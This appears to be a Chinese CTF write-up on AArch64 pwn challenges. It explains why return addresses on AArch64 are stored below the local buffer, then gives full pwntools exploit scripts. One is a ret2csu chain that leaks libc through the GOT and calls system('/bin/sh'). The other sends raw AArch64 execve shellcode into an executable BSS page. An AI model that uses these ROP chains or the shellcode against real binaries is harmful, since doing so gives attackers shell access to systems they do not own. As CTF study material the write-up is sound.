PWN异架构学习-AARCH64架构题型

前言

在学习完ARM架构后,继续学习AARCH64架构的题型,国资师傅说,相比arm架构,AARCH架构才更加能够称为异架构

ret2libc-ARRCH

相比起ARM和X86架构,ARRCH架构在函数调用时候的栈的保护措施是不一样的,栈的返回地址和上一个栈帧的栈底是在当前栈帧的低地址,于是我们在进行栈溢出的时候是不能覆盖我们当前栈帧的返回地址的。

解题过程

通过分析发现存在栈溢出漏洞

1
2
3
4
5
6
7
8
9
10
__int64 dofunc()
{
__int64 buf; // [xsp+18h] [xbp+18h] BYREF

buf = 0LL;
write(1, "input:", 6uLL);
read(0, &buf, 0x100uLL);
write(1, "byebye", 6uLL);
return 0LL;
}

exp

国资师傅的利用方法是ret2csu去泄露libc然后执行system(“/bin/sh”)。但是由于我们无法覆盖当前栈帧的返回地址,并且ARRCH架构的控制寄存器的方法是通过栈,所以在构造栈的时候,需要考虑到esp减去多少的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
def exploit():
addr_1 = elf.bss()+0x100
leak_func_name = 'read'
leak_func_got = elf.got[leak_func_name]
read_got = leak_func_got
write_got = elf.got['write']
deadbeef = 0xdeadbeef
rep_func = elf.symbols['main']

ru("input:")
LDR_X3_X21_X19_LSL3 = 0x4006A0
LDP_X19_X20_SP_vars10 = 0x4006C0
payload = p64(deadbeef)*2 + p64(LDP_X19_X20_SP_vars10)

payload += p64(deadbeef) + p64(LDR_X3_X21_X19_LSL3)
X19 = 0 # 判断是否跳转
X20 = 1 # 判断是否跳转
X21 = write_got # 调用函数存储的位置
X22 = 1 # 参数1
X23 = leak_func_got # 参数2
X24 = 8 # 参数3
X29 = deadbeef #
X30 = LDR_X3_X21_X19_LSL3 # 返回函数
payload += p64(X19) + p64(X20)
payload += p64(X21) + p64(X22)
payload += p64(X23) + p64(X24)



payload += p64(X29) + p64(LDR_X3_X21_X19_LSL3)
X19 = 0 # 判断是否跳转
X20 = 1 # 判断是否跳转
X21 = read_got # 调用函数存储的位置
X22 = 0 # 参数1
X23 = addr_1 # 参数2
X24 = 0x10 # 参数3
X29 = deadbeef #
X30 = rep_func # 返回函数
payload += p64(X19) + p64(X20)
payload += p64(X21) + p64(X22)
payload += p64(X23) + p64(X24)
payload += p64(X29) + p64(X30)


s(payload)
ru('byebye')
leak_func_addr = u64(r(8))
print("leak_func_addr is ",hex(leak_func_addr))
base_addr = leak_func_addr-libc.symbols[leak_func_name]
system_addr = base_addr+libc.symbols["system"]
binsh_addr = base_addr+next(libc.search(b"/bin/sh\x00")) # 获取/bin/sh的位置
addr_name_list = ['base','system', 'binsh']
for i in addr_name_list:
exec("print('{}_addr is :',hex({}_addr))".format(i, i))


s(p64(system_addr)+b"/bin/sh\x00")

payload = p64(deadbeef)*2 + p64(LDP_X19_X20_SP_vars10)

payload += p64(X29) + p64(LDR_X3_X21_X19_LSL3)
X19 = 0 # 判断是否跳转
X20 = 1 # 判断是否跳转
X21 = addr_1 # 调用函数存储的位置
X22 = addr_1+0x8 # 参数1
X23 = 0 # 参数2
X24 = 0 # 参数3
X29 = deadbeef #ebp
X30 = system_addr # 返回函数
payload += p64(X19) + p64(X20)
payload += p64(X21) + p64(X22)
payload += p64(X23) + p64(X24)
payload += p64(X29) + p64(X30)
sla("input:",payload)

ret2shellcode-ARRCH

解题过程

可以发现存在栈溢出漏洞,并且会覆盖部分BSS段内容,并且赋予了可执行权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 dofunc()
{
char buf[256]; // [xsp+10h] [xbp+10h] BYREF
void *addr; // [xsp+110h] [xbp+110h]
int v3; // [xsp+11Ch] [xbp+11Ch]

v3 = getpagesize();
addr = (void *)((unsigned __int64)buf2 & 0xFFFFFFFFFFFFF000LL);
mprotect((void *)((unsigned __int64)buf2 & 0xFFFFFFFFFFFFF000LL), v3, 7);
puts("input:");
read(0, buf, 0x200uLL);
strncpy(buf2, buf, 0x64uLL);
printf("bye bye ~");
return 0LL;
}

exp

1
2
3
4
def exploit():
shellcode = b'\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b\xa8\x1b\x80\xd2\xe1\x66\x02\xd4'
payload = shellcode.ljust(0x110,b'\xff')+p64(1111)+p64(0x00000000411060)
sa("input:\n",payload)

tips

虽然栈的格式不一样了,但是利用和溢出没什么太大的区别